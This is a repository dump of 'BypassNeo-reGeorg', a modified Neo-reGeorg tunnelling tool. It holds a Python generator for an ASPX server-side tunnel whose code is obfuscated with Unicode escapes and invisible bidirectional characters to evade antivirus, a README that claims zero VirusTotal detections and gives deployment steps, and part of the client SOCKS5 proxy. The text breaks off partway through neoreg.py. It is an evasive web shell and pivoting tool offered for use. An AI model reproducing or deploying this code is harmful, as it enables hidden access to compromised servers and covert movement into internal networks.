├── BypassNeoASPX.py
├── README.md
├── img
└── vt.png
├── neoreg.py
└── templates
└── tunnel.aspx
/BypassNeoASPX.py:
--------------------------------------------------------------------------------
1 | import os
2 | import random
3 | import string
4 |
5 | def generate_random_string(length):
6 | # 定义可能出现的字符集合
7 | characters = string.ascii_letters + string.digits
8 | # 随机选择字符集合中的字符,生成指定长度的字符串
9 | return ''.join(random.choice(characters) for i in range(length))
10 |
11 | def file_write(filename, data):
12 | try:
13 | with open(filename, 'w') as f:
14 | f.write(data)
15 | print("[Generate] Successed to write file: %s" % filename)
16 | print("[Please] Execute 'python3 neoreg.py generate -k password'")
17 | except:
18 | print("[Generate] Failed to write file: %s,Please confirm that the templates/ folder exists" % filename)
19 | exit()
20 | text = r'''
21 |
113 | <%
114 | int D\u202bAT\u202bA = 1;
115 | int C\u202cM\u202cD = 2;
116 | int M\u202aA\u202aRK = 3;
117 | int S\ufeffTA\ufeffTUS = 4;
118 | int \u0045\u0052\u0052\u004f\u0052 = 5;
119 | int I\u202cP\u202c = 6;
120 | int P\u202cOR\u202cT = 7;
121 | int \u0052\u0045\u0044\u202c\u0049\u0052\u0045\u202c\u0043\u0054\u0055\u0052\u004c = 8;
122 | int FORCE\u202cRED\u202cIR\u202cECT = 9;
123 |
124 | String \U00000047\U00000065\U0000006f\U00000072\U00000067\U00000048\U00000065\U0000006c\U0000006c\U0000006f = /*RandomCodeReplace*/"NEO, 'All OK'"/*RandomCodeReplace*/;
125 |
126 | Object[] \u0069\u006e\u0066\u006f = new /*RandomCodeReplace*/Object[40];
127 | Object[] r\u0069\u006e\u0066\u006f = new /*RandomCodeReplace*/Object[40];
128 |
129 | String e\u202bn = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
130 | String d\u202be\u202d = /*RandomCodeReplace*/"BASE64 CHARSLIST"/*RandomCodeReplace*/;
131 |
132 | if (\U00000052\U00000065\U00000071\U00000075\U00000065\U00000073\U00000074./*RandomCodeReplace*/\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u004c\u0065\u006e\u0067\u0074\u0068 != -1) {
133 | byte[] bu\u202af\u202af = new byte[\U00000052\U00000065\U00000071\U00000075\U00000065\U00000073\U00000074.\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u004c\u0065\u006e\u0067\u0074\u0068];
134 | \u0052\u0065\u0071\u202c\u0075\u0065\u0073\u202c\u0074./*RandomCodeReplace*/\u0049\u006e\u202c\u0070\u0075\u0074\u202c\u0053\u0074\u0072\u0065\u0061\u202a\u006d.\u0052\u202a\u0065\u0061\u0064\u202a(buff, 0, buff.Length);
135 | string b\u202a6\u202a4 = StrTr(\u0045\u006e\u202d\u0063\u006f\u202d\u0064\u0069\u202d\u006e\u0067.\u0044\ufeff\u0065\u0066\ufeff\u0061\u0075\u006c\u0074.\u0047\u0065\ufeff\u0074\u0053\u0074\u0072\ufeff\u0069\u006e\u0067\ufeff(buff), de, en);
136 | byte[] d\u202aa\u202ata = Con\u202cv\u202ce\u202crt.\U00000046\U00000072\U0000006f\U0000006d\U00000042\U00000061\U00000073\U00000065\U00000036\U00000034\U00000053\U00000074\U00000072\U00000069\U0000006e\U00000067(b64);
137 | \u0069\u006e\u0066\u006f = b\u202cl\u202bv_de\u202bco\u202bde(data);
138 | }
139 |
140 | String \U00000072\U00000055\U00000072\U0000006c = (String) \u0069\u006e\u0066\u006f[REDIRECTURL];
141 | if (\U00000072\U00000055\U00000072\U0000006c != null){
142 | \u0055\u0072\u0069 u = new /*RandomCodeReplace*/\u0055\u0072\u0069(\U00000072\U00000055\U00000072\U0000006c);
143 | \u0057\u0065\u0062\u0052\u0065\u0071\u0075\u0065\u0073\u0074 \U00000072\u202d\U00000065\U00000071\u202d\U00000075\U00000065\u202d\U00000073\U00000074 = \u0057\u0065\u202a\u0062\u0052\u0065\u202a\u0071\u0075\u0065\u0073\u0074.\u0043\u202a\u0072\u0065\u202a\u0061\u0074\u0065(u);
144 | request.\u004d\u0065\u0074\u0068\u006f\u0064 = Request.\u0048\u0074\u0074\u0070\u004d\u0065\u0074\u0068\u006f\u0064;
145 | foreach (string key in \U00000072\u202d\U00000065\U00000071\u202d\U00000075\U00000065\u202d\U00000073\U00000074.\u0048\u202a\u0065\u202a\u0061\u202a\u0064\u202a\u0065\u0072\u202a\u0073)
146 | {
147 | try{
148 | \U00000072\u202d\U00000065\U00000071\u202d\U00000075\U00000065\u202d\U00000073\U00000074./*RandomCodeReplace*/\u0048\u202a\u0065\u202a\u0061\u202a\u0064\u202a\u0065\u0072\u202a\u0073.Add(key, \U00000072\u202d\U00000065\U00000071\u202d\U00000075\U00000065\u202d\U00000073\U00000074.\u0048\u202a\u0065\u202a\u0061\u202a\u0064\u202a\u0065\u0072\u202a\u0073.Get(key));
149 | } catch (Exception e){}
150 | }
151 |
152 | try{
153 | St\u202area\u202am b\u202aody = request./*RandomCodeReplace*/\u0047\u0065\u0074\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u0053\u0074\u0072\u0065\u0061\u006d();
154 | \u0069\u006e\u0066\u006f[REDIRECTURL] = null;
155 | byte[] data = \u0045\u006e\u202d\u0063\u202b\u006f\u0064\u0069\u006e\u0067/*RandomCodeReplace*/.\u0044\u0065\u202b\u0066\u0061\u202b\u0075\u202d\u006c\u202b\u0074/*RandomCodeReplace*/.\u0047\u0065\u0074\u202d\u0042\u0079\u0074\u0065\u202b\u0073(StrTr(Convert.ToBase64String(blv_encode(\u0069\u006e\u0066\u006f)), en, de));
156 | \U00000062\u202e\U0000006f\U00000064\u202e\U00000079./*RandomCodeReplace*/Write(data, 0, data.Length);
157 | \U00000062\u202e\U0000006f\U00000064\u202e\U00000079./*RandomCodeReplace*/Close();
158 | } catch (Exception e){}
159 |
160 | Http\u202dWebR\u202despo\u202dnse res\u202apon\u202ase = (HttpWebResponse)request./*RandomCodeReplace*/\u0047\u0065\u0074\u0052\u0065\u0073\u0070\u006f\u006e\u0073\u0065();
161 | WebH\u202ceaderC\u202colle\u202cction webH\u202cead\u202cer = r\u202cespon\u202cse./*RandomCodeReplace*/Hea\u202cde\u202crs;
162 | for (int i=0;i < \u0077\u202d\u0065\u0062\u202a\u0048\u0065\u0061\u202a\u0064\u0065\u202a\u0072.Count; i++)
163 | {
164 | string r\u202ake\u202ay = \u0077\u202d\u0065\u0062\u202a\u0048\u0065\u0061\u202a\u0064\u0065\u202a\u0072.GetKey(i);
165 | if (r\u202ake\u202ay != "Content-Length" && r\u202ake\u202ay != /*RandomCodeReplace*/"Transfer-Encoding")
166 | R\u202bes\u202bpo\u202bnse\u202b.\u0041\u202c\u0064\u202c\u0064\u0048\u202c\u0065\u0061\u202c\u0064\u0065\u0072(r\u202ake\u202ay, \u0077\u202d\u0065\u0062\u202a\u0048\u0065\u0061\u202a\u0064\u0065\u202a\u0072[i]);
167 | }
168 |
169 | St\u202cream\u202cReader \u0072\u0065\u0070\u0042\u006f\u0064\u0079 = new /*RandomCodeReplace*/St\u202cream\u202cReader(response.\u0047\u0065\u0074\u0052\u0065\u0073\u0070\u006f\u006e\u0073\u0065Stream(), \u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067.\u0047\u0065\u0074\u0045\u006e\u0063\u006f\u0064\u0069\u006e\u0067("UTF-8"));
170 | string r\u202cbo\u202cdy = \u0072\u0065\u0070\u0042\u006f\u0064\u0079.Re\u202cad\u202cToEnd();
171 | R\u202bes\u202bpo\u202bnse\u202b./*RandomCodeReplace*/\u0041\u202c\u0064\u202c\u0064\u0048\u202c\u0065\u0061\u202c\u0064\u0065\u0072("Content-Length", r\U00000062\u202e\U0000006f\U00000064\u202e\U00000079.Length.ToString());
172 | R\u202bes\u202bpo\u202bnse\u202b./*RandomCodeReplace*/Write(r\U00000062\u202e\U0000006f\U00000064\u202e\U00000079);
173 | return;
174 | }
175 |
176 | R\u202bes\u202bpo\u202bnse\u202b.\u0053\u0074\u0061\u0074\u0075\u0073\u0043\u006f\u0064\u0065 = HTTPCODE;
177 | String c\u202bm\u202dd = (String) \u0069\u006e\u0066\u006f[CM\u202cD];
178 | if (c\u202bm\u202dd != null) {
179 | String mark = (String) \u0069\u006e\u0066\u006f[MA\u202cRK];
180 | if (c\u202bm\u202dd == "CONNECT") {
181 | try {
182 | Str\u202cing tar\u202cget = (String) \u0069\u006e\u0066\u006f[I\u202cP];
183 | int po\u202crt = int.Pa\u202crs\u202ce((String) \u0069\u006e\u0066\u006f[PO\u202cRT]);
184 | IP\u202bAd\u202bd\u202bre\u202bss i\u202bp;
185 | try {
186 | /*RandomCodeReplace*/
187 | i\u202bp = IP\u202bAd\u202bd\u202bre\u202bss.Pa\u202crs\u202ce(ta\u202crg\u202cet);
188 | } catch (Exception ex) {
189 | I\u202dPH\u202dos\u202dtEntr\u202dy ho\u202dst = D\u202bn\u202bs.\u0047\u0065\u0074\u0048\u006f\u0073\u0074\u0042\u0079\u004e\u0061\u006d\u0065(tar\u202cget);
190 | i\u202bp = ho\u202dst./*RandomCodeReplace*/\u0041\u0064\u0064\u0072\u0065\u0073\u0073\u004c\u0069\u0073\u0074[0];
191 | }
192 | Sys\u202dtem.N\u202det.IPEn\u202ddPo\u202dint re\u202dmo\u202dteEP = new \u0049\u202b\u0050\u202b\u0045\u202b\u006e\u0064\u202b\u0050\u202b\u006f\u0069\u006e\u0074(i\u202cp, po\u202crt);
193 | S\u202cock\u202cet se\u202cn\u202cder = new So\u202cc\u202cket(Add\u202cres\u202csFam\u202cily.Int\u202cerNe\u202ctwo\u202crk, SocketType.St\u202cre\u202cam, Pr\u202cot\u202cocolTy\u202cpe.Tc\u202cp);
194 | IAsy\u202dncR\u202des\u202dult r\u202desu\u202dlt = sen\u202dder.Begi\u202dnCon\u202dne\u202dct(re\u202dmot\u202deEP,null,null);
195 | bool suc\u202dces\u202ds = resu\u202dlt.A\u202dsy\u202dnc\u202dWaitHan\u202dd\u202dle.WaitO\u202dn\u202de( 2000, true );
196 |
197 | if ( \u0073\ufeff\u0065\ufeff\u006e\ufeff\u0064\u0065\u0072.Connected ) {
198 | \u0073\ufeff\u0065\ufeff\u006e\ufeff\u0064\u0065\u0072.Blocking = /*RandomCodeReplace*/false;
199 | Application.Add(mark, \u0073\ufeff\u0065\ufeff\u006e\ufeff\u0064\u0065\u0072);
200 | r\u0069\u006e\u0066\u006f[STATUS] = "OK";
201 | } else {
202 | \u0073\ufeff\u0065\ufeff\u006e\ufeff\u0064\u0065\u0072.Close();
203 | r\u0069\u006e\u0066\u006f[STATUS] = "FAIL";
204 | if ( success ) {
205 | r\u0069\u006e\u0066\u006f[ERROR] = "P.o.r.t c.l.o.s.e";
206 | } else {
207 | r\u0069\u006e\u0066\u006f[ERROR] = "P.o.r.t f.i.l.t.e.r.e.d";
208 | }
209 | }
210 | } catch (Exception ex) {
211 | r\u0069\u006e\u0066\u006f[STATUS] = "FAIL";
212 | r\u0069\u006e\u0066\u006f[ERROR] = ex./*RandomCodeReplace*/\U0000004d\U00000065\U00000073\U00000073\U00000061\U00000067\U00000065;
213 | }
214 | } else if (c\u202bm\u202dd == "DISCONNECT") {
215 | try {
216 | Soc\u202cket s = (Soc\u202cket)Appl\u202cicat\u202cion[mark];/*RandomCodeReplace*/
217 | s.Close();
218 | } catch (Exception ex){/*RandomCodeReplace*/
219 | }
220 | Application.Remove(mark);
221 | } else if (c\u202bm\u202dd == "FORWARD") {
222 | Socket s = (Socket)Application[mark];
223 | try {
224 | s.Send((byte[]) \u0069\u006e\u0066\u006f[DATA]);
225 | r\u0069\u006e\u0066\u006f[STATUS] = "OK";
226 | } catch (Exception ex) {
227 | r\u0069\u006e\u0066\u006f[STATUS] = "FAIL";
228 | r\u0069\u006e\u0066\u006f[ERROR] = ex.\U0000004d\U00000065\U00000073\U00000073\U00000061\U00000067\U00000065;
229 | }
230 | } else if (c\u202bm\u202dd == "READ") {
231 | try {
232 | So\u202eck\u202eet s = (Sock\u202eet)App\u202elicat\u202eion[m\u202ear\u202ek];
233 | int max\u202eRea\u202ed = /*RandomCodeReplace*/MAXREADSIZE;
234 | int re\u202eadb\u202euflen = /*RandomCodeReplace*/READBUF;
235 | int r\u202eead\u202eLen = 0;
236 | byte[] re\u202eadB\u202euff = new /*RandomCodeReplace*/byte[re\u202eadbuf\u202elen];
237 | \u004d\u0065\u202a\u006d\u006f\u202a\u0072\u0079\u202a\u0053\u0074\u202a\u0072\u0065\u0061\u006d readData = new \u004d\u0065\u202a\u006d\u006f\u202a\u0072\u0079\u202a\u0053\u0074\u202a\u0072\u0065\u0061\u006d();
238 | try {
239 | int c = s.\u0052\u0065\u0063\u0065\u0069\u0076\u0065(rea\ufeffdBu\ufeffff);
240 | while (c > 0) {
241 | byte[] ne\ufeffwBu\ufeffff = new /*RandomCodeReplace*/byte[c];
242 | System.Bu\ufeffffer./*RandomCodeReplace*/Blo\ufeffck\ufeffCop\ufeffy(rea\ufeffdBu\ufeffff, 0, ne\ufeffwB\ufeffuff, 0, c);
243 | string b6\ufeff4 = Conve\ufeffrt.ToB\ufeffase6\ufeff4Stri\ufeffng(newBuff);
244 | re\ufeffadD\ufeffata.Wr\ufeffite(n\u202aewBu\u202aff, 0, c);
245 | readL\ufeffen += c;
246 | if (c < rea\u202adbuf\u202alen || re\u202aad\u202aLen >= m\u202aax\u202aRe\u202aad)
247 | break;
248 | c = s./*RandomCodeReplace*/\u0052\u0065\u0063\u0065\u0069\u0076\u0065(re\u202aad\u202aBuf\u202af);
249 | }
250 | r\u0069\u006e\u0066\u006f[DATA] = rea\ufeffdDa\ufeffta.\u0054\u202d\u006f\u0041\u202d\u0072\u0072\u202d\u0061\u0079();
251 | r\u0069\u006e\u0066\u006f[STATUS] = /*RandomCodeReplace*/"OK";
252 | } catch (SocketException ex) {
253 | /*RandomCodeReplace*/
254 | r\u0069\u006e\u0066\u006f[STATUS] = "OK";
255 | }
256 | } catch (Exc\ufeffep\ufefftion ex) {
257 | r\u0069\u006e\u0066\u006f[STA\ufeffTUS] = "FAIL";
258 | r\u0069\u006e\u0066\u006f[ERR\ufeffOR] = ex./*RandomCodeReplace*/\U0000004d\U00000065\U00000073\U00000073\U00000061\U00000067\U00000065;
259 | }
260 | }
261 | R\u202bes\u202bpo\u202bnse\u202b.Write(S\ufefftr\ufeffTr(Con\ufeffve\ufeffrt.To\ufeffBase6\ufeff4Str\ufeffing(bl\ufeffv_en\ufeffcod\ufeffe(r\u0069\u006e\u0066\u006f)), e\ufeffn, d\ufeffe));
262 | } else {
263 | R\u202bes\u202bpo\u202bnse\u202b./*RandomCodeReplace*/Write(\u0045\u006e\u202d\u0063\u006f\u202d\u0064\u0069\u202d\u006e\u0067.\u0044\ufeff\u0065\u0066\ufeff\u0061\u0075\u006c\u0074.\u0047\u0065\ufeff\u0074\u0053\u0074\u0072\ufeff\u0069\u006e\u0067\ufeff(Convert.\U00000046\U00000072\U0000006f\U0000006d\U00000042\U00000061\U00000073\U00000065\U00000036\U00000034\U00000053\U00000074\U00000072\U00000069\U0000006e\U00000067(StrTr(\U00000047\U00000065\U0000006f\U00000072\U00000067\U00000048\U00000065\U0000006c\U0000006c\U0000006f, d\ufeffe, e\ufeffn))));
264 | }
265 | %>
266 | <%@ Page Language="C#" EnableSessionState="True"%>
267 | <%@ Import Namespace="Sys\ufeffte\u202dm.I\ufeffO" %>
268 | <%@ Import Namespace="Syst\ufeffe\u202dm.N\ufeffet" %>
269 | <%@ Import Namespace="Sys\ufeffte\u202dm.Te\ufeffxt" %>
270 | <%@ Import Namespace="Syst\ufeffe\u202dm.N\ufeffet.So\u202dck\u202dets" %>
271 | <%@ Import Namespace="Syste\ufeffm\u202d.Coll\ufeffectio\u202dns" %>
272 | '''
273 | text2=''''''
274 | for line in text.splitlines():
275 | if "RandomCodeReplace" in line:
276 | # 生成一个长度为 30 的随机字符串
277 | random_string = generate_random_string(30)
278 | line = line.replace(r"RandomCodeReplace", random_string)
279 | text2 = text2+line+'\n'
280 | else:
281 | text2 = text2+line+'\n'
282 |
283 | filepath = os.getcwd()
284 | outfile = filepath+'/templates/tunnel.aspx'
285 | file_write(outfile, text2)
286 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # BypassNeo-reGeorg
2 |
3 | 
4 |
5 |
6 | # 免杀效果
7 |
8 | > 对于默认生成的php和jsp,Neo-reGeorg自身免杀效果就很好,暂时不需要处理。
9 |
10 | 
11 |
12 | # 使用方法
13 | ```
14 | 一定要用使用本项目里的neoreg.py,其余操作和原版一致
15 | ```
16 | 1)使用 `BypassNeoASPX.py` 生成 `templates/tunnel.aspx`
17 |
18 | 2)`python neoreg.py generate -k password`
19 |
20 | 3 ) `python3 neoreg.py -k password -u http://xx/tunnel.aspx`
21 |
22 | # 相关修改
23 |
24 | ### [BypassNeoASPX.py]
25 |
26 | \\-VT查杀0报毒:https://www.virustotal.com/gui/file/a7216e7f19fc068208927f221c302e5e710ab9e0da1a2762288f44b96bcc01f1?nocache=1
27 |
28 | \\-修改默认文本内容 `NeoGeorg says, 'All seems fine'` => `NEO, 'All OK'`
29 |
30 | \\-aspx免杀处理( https://xz.aliyun.com/t/11953 )
31 |
32 | ### [neoreg.py]
33 |
34 | \\-修改默认文本内容 `NeoGeorg says, 'All seems fine'` => `NEO, 'All OK'`
35 |
36 | ## Version
37 |
38 | 5.0.1 - [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
39 |
40 | ## 免责声明
41 |
42 | 此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任!
--------------------------------------------------------------------------------
/img/vt.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/r00tSe7en/BypassNeo-reGeorg/072765335bddc98eccaa2dc0b756627dcd4d0d3e/img/vt.png
--------------------------------------------------------------------------------
/neoreg.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | __author__ = 'L'
5 | __version__ = '5.0.1'
6 |
7 | import sys
8 | import os
9 | import re
10 | import base64
11 | import struct
12 | import random
13 | import hashlib
14 | import logging
15 | import argparse
16 | import requests
17 | import uuid
18 | import codecs
19 | from collections import defaultdict
20 | from time import sleep, time, mktime
21 | from datetime import datetime
22 | from socket import *
23 | from itertools import chain
24 | from threading import Thread
25 |
26 | requests.packages.urllib3.disable_warnings()
27 |
28 | ROOT = os.path.dirname(os.path.realpath(__file__))
29 |
30 | ispython3 = True if sys.version_info >= (3, 0) else False
31 |
32 | # Constants
33 | SOCKTIMEOUT = 5
34 | VER = b"\x05"
35 | METHOD = b"\x00"
36 | SUCCESS = b"\x00"
37 | REFUSED = b"\x05"
38 | #SOCKFAIL = b"\x01"
39 | #NETWORKFAIL = b"\x02"
40 | #HOSTFAIL = b"\x04"
41 | #TTLEXPIRED = b"\x06"
42 | #UNSUPPORTCMD = b"\x07"
43 | #ADDRTYPEUNSPPORT = b"\x08"
44 | #UNASSIGNED = b"\x09"
45 |
46 | # Globals
47 | READBUFSIZE = 7
48 | MAXTHERADS = 400
49 | MAXRETRY = 10
50 | READINTERVAL = 300
51 | WRITEINTERVAL = 200
52 | PHPTIMEOUT = 0.5
53 |
54 | # Logging
55 | RESET_SEQ = "\033[0m"
56 | COLOR_SEQ = "\033[1;%dm"
57 | BOLD_SEQ = "\033[1m"
58 |
59 | BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)
60 |
61 | # CRITICAL > ERROR > WARNING > INFO > DEBUG > NOTSET
62 | LEVEL = [
63 | ('ERROR', logging.ERROR),
64 | ('WARNING', logging.WARNING),
65 | ('INFO', logging.INFO),
66 | ('DEBUG', logging.DEBUG),
67 | ]
68 |
69 | COLORS = {
70 | 'WARNING': YELLOW,
71 | 'INFO': WHITE,
72 | 'DEBUG': BLUE,
73 | 'CRITICAL': YELLOW,
74 | 'ERROR': RED,
75 | 'RED': RED,
76 | 'GREEN': GREEN,
77 | 'YELLOW': YELLOW,
78 | 'BLUE': BLUE,
79 | 'MAGENTA': MAGENTA,
80 | 'CYAN': CYAN,
81 | 'WHITE': WHITE,
82 | }
83 |
84 | BLVHEAD = {
85 | 'DATA': 1,
86 | 'CMD': 2,
87 | 'MARK': 3,
88 | 'STATUS': 4,
89 | 'ERROR': 5,
90 | 'IP': 6,
91 | 'PORT': 7,
92 | 'REDIRECTURL': 8,
93 | 'FORCEREDIRECT': 9,
94 | }
95 | BLVHEAD_REVERSE = {}
96 | for k, v in BLVHEAD.items():
97 | BLVHEAD_REVERSE[v] = k
98 | BLVHEAD_LEN = len(BLVHEAD)
99 |
100 |
101 | def blv_encode(info):
102 | head_len = random.randint(5, 20)
103 | tail_len = random.randint(5, 20)
104 | head_rand = os.urandom(head_len)
105 | tail_rand = os.urandom(tail_len)
106 |
107 | data = struct.pack('>bi{len}s'.format(len=head_len), 0, head_len + BLV_L_OFFSET, head_rand) # 头部填充
108 |
109 | for k, v in info.items():
110 | if v:
111 | b = BLVHEAD[k]
112 | if ispython3 and type(v) == str:
113 | v = v.encode()
114 | l = len(v)
115 | data += struct.pack('>bi{len}s'.format(len=l), b, l + BLV_L_OFFSET, v)
116 |
117 |
118 | data += struct.pack('>bi{len}s'.format(len=tail_len), 39, tail_len + BLV_L_OFFSET, tail_rand) # 尾部填充
119 | return data
120 |
121 |
122 | def blv_decode(data):
123 | data_len = len(data)
124 | if data_len == 0:
125 | return None
126 |
127 | info = defaultdict(bytes)
128 | i = 0
129 |
130 | while i < data_len:
131 | try:
132 | b, l = struct.unpack('>bi', data[i:i+5])
133 | l -= BLV_L_OFFSET
134 | except struct.error:
135 | return None
136 | i += 5
137 | v = data[i:i+l]
138 | i += l
139 | if i > data_len:
140 | return None
141 |
142 | if b > 0 and b < BLVHEAD_LEN:
143 | name = BLVHEAD_REVERSE[b]
144 | if name != 'DATA':
145 | if name != 'ERROR':
146 | v = v.decode()
147 | else:
148 | try:
149 | try:
150 | v = v.decode()
151 | except UnicodeDecodeError:
152 | try:
153 | v = v.decode('gbk')
154 | except:
155 | pass
156 | except Exception as ex:
157 | log.error("[BLV Decode] [%s] => %s" % (name, repr(v)))
158 | raise ex
159 | info[name] = v
160 |
161 | return info
162 |
163 |
164 | def int_to_bytes(n):
165 | h = '%x' % n
166 | if len(h) % 2 != 0:
167 | h = '0' + h
168 | return codecs.decode(h, 'hex')
169 |
170 | def encode_body(info):
171 | data = blv_encode(info)
172 | data = base64.b64encode(data)
173 | if ispython3:
174 | data = data.decode()
175 | return data.translate(EncodeMap)
176 |
177 |
178 | def decode_body(data):
179 | if ispython3:
180 | data = data.decode()
181 | try:
182 | data = base64.b64decode(data.translate(DecodeMap))
183 | except:
184 | raise NeoregReponseFormatError("Base64 decode error")
185 | return blv_decode(data)
186 |
187 |
188 | def file_read(filename):
189 | try:
190 | with codecs.open(filename, encoding="utf-8") as f:
191 | return f.read()
192 | except:
193 | log.error("[Generate] Failed to read file: %s" % filename)
194 | exit()
195 |
196 |
197 | def file_write(filename, data):
198 | try:
199 | with open(filename, 'w') as f:
200 | f.write(data)
201 | except:
202 | log.error("[Generate] Failed to write file: %s" % filename)
203 | exit()
204 |
205 |
206 | def formatter_message(message, use_color=True):
207 | if use_color:
208 | message = message.replace("$RESET", RESET_SEQ).replace("$BOLD", BOLD_SEQ)
209 | else:
210 | message = message.replace("$RESET", "").replace("$BOLD", "")
211 | return message
212 |
213 |
214 | class ColoredFormatter(logging.Formatter):
215 | def __init__(self, msg, use_color=True):
216 | logging.Formatter.__init__(self, msg)
217 | self.use_color = use_color
218 |
219 | def format(self, record):
220 | levelname = record.levelname
221 | if self.use_color and levelname in COLORS:
222 | levelname_color = COLOR_SEQ % (30 + COLORS[levelname]) + levelname + RESET_SEQ
223 | record.levelname = levelname_color
224 | return logging.Formatter.format(self, record)
225 |
226 |
227 | class ColoredLogger(logging.Logger):
228 |
229 | def __init__(self, name):
230 | use_color = not sys.platform.startswith('win')
231 | FORMAT = "[$BOLD%(levelname)-19s$RESET] %(message)s"
232 | COLOR_FORMAT = formatter_message(FORMAT, use_color)
233 | logging.Logger.__init__(self, name, 'INFO')
234 | if (name == "transfer"):
235 | COLOR_FORMAT = "\x1b[80D\x1b[1A\x1b[K%s" % COLOR_FORMAT
236 | color_formatter = ColoredFormatter(COLOR_FORMAT, use_color)
237 | console = logging.StreamHandler()
238 | console.setFormatter(color_formatter)
239 | self.addHandler(console)
240 |
241 |
242 | logging.setLoggerClass(ColoredLogger)
243 | log = logging.getLogger(__name__)
244 | transferLog = logging.getLogger("transfer")
245 |
246 |
247 | class SocksCmdNotImplemented(Exception):
248 | pass
249 |
250 |
251 | class NeoregReponseFormatError(Exception):
252 | pass
253 |
254 |
255 | class Rand:
256 | def __init__(self, key):
257 | salt = b'11f271c6lm0e9ypkptad1uv6e1ut1fu0pt4xillz1w9bbs2gegbv89z9gca9d6tbk025uvgjfr331o0szln'
258 | key_min_len = 28
259 | # 密码强度不足时,使用加盐hash
260 | if len(key) < key_min_len:
261 | key_hash = hashlib.md5(salt[:key_min_len] + key.encode() + salt[key_min_len:]).hexdigest()
262 | else:
263 | key_hash = key
264 | n = int(codecs.encode(key_hash[:key_min_len].encode(), 'hex'), 16)
265 | self.v_clen = pow(n, int(salt[:key_min_len],36), int(salt[key_min_len:],36))
266 | random.seed(n)
267 |
268 | def rand_value(self):
269 | rand = base64.b64encode(int_to_bytes((random.getrandbits(int(random.random() * 300) + 30) << 280)+self.v_clen))
270 | if ispython3:
271 | rand = rand.decode()
272 | return rand.rstrip('=')
273 |
274 | def base64_chars(self, charslist):
275 | if sys.version_info >= (3, 2):
276 | newshuffle = random.shuffle
277 | else:
278 | try:
279 | xrange
280 | except NameError:
281 | xrange = range
282 | def newshuffle(x):
283 | def _randbelow(n):
284 | getrandbits = random.getrandbits
285 | k = n.bit_length()
286 | r = getrandbits(k)
287 | while r >= n:
288 | r = getrandbits(k)
289 | return r
290 |
291 | for i in xrange(len(x) - 1, 0, -1):
292 | j = _randbelow(i+1)
293 | x[i], x[j] = x[j], x[i]
294 |
295 | newshuffle(charslist)
296 |
297 |
298 | class session(Thread):
299 | def __init__(self, conn, pSocket, connectURLs, redirectURLs, FwdTarget, force_redirect):
300 | Thread.__init__(self)
301 | self.pSocket = pSocket
302 | self.connectURLs = connectURLs
303 | self.conn = conn
304 | self.connect_closed = False
305 | self.session_connected = False
306 | self.fwd_target = FwdTarget
307 | self.redirectURL = None
308 | self.force_redirect = force_redirect
309 | if redirectURLs:
310 | self.redirectURL = random.choice(redirectURLs)
311 |
312 |
313 | def url_sample(self):
314 | return random.choice(self.connectURLs)
315 |
316 |
317 | def session_mark(self):
318 | mark = base64.b64encode(uuid.uuid4().bytes)[0:-8]
319 | if ispython3:
320 | mark = mark.decode()
321 | return mark
322 |
323 |
324 | def parseSocks5(self, sock):
325 | log.debug("[SOCKS5] Version5 detected")
326 | nmethods = sock.recv(1)
327 | methods = sock.recv(ord(nmethods))
328 | sock.sendall(VER + METHOD)
329 | ver = sock.recv(1)
330 | if ver == b"\x02": # this is a hack for proxychains
331 | ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1))
332 | else:
333 | cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1))
334 | target = None
335 | targetPort = None
336 | if atyp == b"\x01": # IPv4
337 | target = sock.recv(4)
338 | targetPort = sock.recv(2)
339 | target = inet_ntoa(target)
340 | elif atyp == b"\x03": # Hostname
341 | targetLen = ord(sock.recv(1)) # hostname length (1 byte)
342 | target = sock.recv(targetLen)
343 | targetPort = sock.recv(2)
344 | if LOCALDNS:
345 | try:
346 | target = gethostbyname(target)
347 | except:
348 | log.error("[SOCKS5] DNS resolution failed: (%s)" % target.decode())
349 | return False
350 | else:
351 | target = target.decode()
352 | elif atyp == b"\x04": # IPv6
353 | target = sock.recv(16)
354 | targetPort = sock.recv(2)
355 | target = inet_ntop(AF_INET6, target)
356 |
357 | if targetPort == None:
358 | return False
359 |
360 | targetPortNum = struct.unpack('>H', targetPort)[0]
361 |
362 | if cmd == b"\x02": # BIND
363 | raise SocksCmdNotImplemented("Socks5 - BIND not implemented")
364 | elif cmd == b"\x03": # UDP
365 | raise SocksCmdNotImplemented("Socks5 - UDP not implemented")
366 | elif cmd == b"\x01": # CONNECT
367 | try:
368 | serverIp = inet_aton(target)
369 | except:
370 | # Forged temporary address 127.0.0.1
371 | serverIp = inet_aton('127.0.0.1')
372 | mark = self.setupRemoteSession(target, targetPortNum)
373 | if mark:
374 | sock.sendall(VER + SUCCESS + b"\x00" + b"\x01" + serverIp + targetPort)
375 | return True
376 | else:
377 | sock.sendall(VER + REFUSED + b"\x00" + b"\x01" + serverIp + targetPort)
378 | return False
379 |
380 | raise SocksCmdNotImplemented("Socks5 - Unknown CMD")
381 |
382 |
383 | def handleSocks(self, sock):
384 | try:
385 | ver = sock.recv(1)
386 | if ver == b"\x05":
387 | res = self.parseSocks5(sock)
388 | if not res:
389 | sock.close()
390 | return res
391 | elif ver == b'':
392 | log.error("[SOCKS5] Failed to get version")
393 | else:
394 | log.error("[SOCKS5] Only support Socks5 protocol")
395 | return False
396 | except OSError:
397 | return False
398 | except timeout:
399 | return False
400 |
401 |
402 | def handleFwd(self, sock):
403 | log.debug("[PORT FWD] Forward detected")
404 | host, port = self.fwd_target.split(':', 1)
405 | mark = self.setupRemoteSession(host, int(port))
406 | return bool(mark)
407 |
408 |
409 | def neoreg_request(self, info, timeout=None):
410 | if self.redirectURL:
411 | info['REDIRECTURL'] = self.redirectURL
412 | if self.force_redirect:
413 | info['FORCEREDIRECT'] = 'TRUE'
414 | else:
